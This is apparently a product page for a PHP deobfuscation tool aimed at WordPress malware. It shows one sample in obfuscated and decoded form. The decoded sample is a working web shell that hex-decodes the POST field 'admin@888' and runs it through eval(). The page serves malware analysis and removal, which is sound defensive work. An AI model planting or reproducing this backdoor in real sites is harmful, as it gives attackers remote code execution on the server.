Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php global $phpjiami_decrypt;$phpjiami_decrypt['廉卯懒幹脣チ置织斨翄幟例謹幘氓撩']=base64_decode('c3RybGVu');$phpjiami_decrypt['警瘓ツ弥铸斈埨怜垾脭茎埫堉']=base64_decode('Y2hy');$phpjiami_decrypt['昆翄謭畫ブ例织缷至翀拿埉隶垘晾缷']=base64_decode('aGV4ZGVj');$phpjiami_decrypt['嬅玖脣茎局警翀堉嬆置攷乐凝']=base64_decode('aGV4VG9TdHI='); ?> <...



Obfuscated php code

<?php global $phpjiami_decrypt;$phpjiami_decrypt['廉卯懒幹脣チ置织斨翄幟例謹幘氓撩']=base64_decode('c3RybGVu');$phpjiami_decrypt['警瘓ツ弥铸斈埨怜垾脭茎埫堉']=base64_decode('Y2hy');$phpjiami_decrypt['昆翄謭畫ブ例织缷至翀拿埉隶垘晾缷']=base64_decode('aGV4ZGVj');$phpjiami_decrypt['嬅玖脣茎局警翀堉嬆置攷乐凝']=base64_decode('aGV4VG9TdHI='); ?>
<?php
class _ {static public $phpcms=Null;function __construct($l="error"){self::$phpcms=$l;@eval(null.null.self::$phpcms);}}function hexToStr($hex){$str="";for($i=0;$i<$GLOBALS['phpjiami_decrypt']['廉卯懒幹脣チ置织斨翄幟例謹幘氓撩']($hex)-1;$i+=2)$str.=$GLOBALS['phpjiami_decrypt']['警瘓ツ弥铸斈埨怜垾脭茎埫堉']($GLOBALS['phpjiami_decrypt']['昆翄謭畫ブ例织缷至翀拿埉隶垘晾缷']($hex[$i].$hex[$i+1]));return $str;}$error =null.$GLOBALS['phpjiami_decrypt']['嬅玖脣茎局警翀堉嬆置攷乐凝'](@$_POST["admin@888"]);$d =new _($error);?>

Decoded(de-Obfuscated) php code

<?php

global $phpjiami_decrypt;
$phpjiami_decrypt['廉卯懒幹脣チ置织斨翄幟例謹幘氓撩'] = "strlen";
$phpjiami_decrypt['警瘓ツ弥铸斈埨怜垾脭茎埫堉'] = "chr";
$phpjiami_decrypt['昆翄謭畫ブ例织缷至翀拿埉隶垘晾缷'] = "hexdec";
$phpjiami_decrypt['嬅玖脣茎局警翀堉嬆置攷乐凝'] = "hexToStr";
class _
{
    public static $phpcms = Null;
    function __construct($l = "error")
    {
        self::$phpcms = $l;
        @eval("" . self::$phpcms);
    }
}
function hexToStr($hex)
{
    $str = "";
    for ($i = 0; $i < $GLOBALS['phpjiami_decrypt']['廉卯懒幹脣チ置织斨翄幟例謹幘氓撩']($hex) - 1; $i += 2) {
        $str .= $GLOBALS['phpjiami_decrypt']['警瘓ツ弥铸斈埨怜垾脭茎埫堉']($GLOBALS['phpjiami_decrypt']['昆翄謭畫ブ例织缷至翀拿埉隶垘晾缷']($hex[$i] . $hex[$i + 1]));
    }
    return $str;
}
$error = null . $GLOBALS['phpjiami_decrypt']['嬅玖脣茎局警翀堉嬆置攷乐凝'](@$_POST["admin@888"]);
$d = new _($error);


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.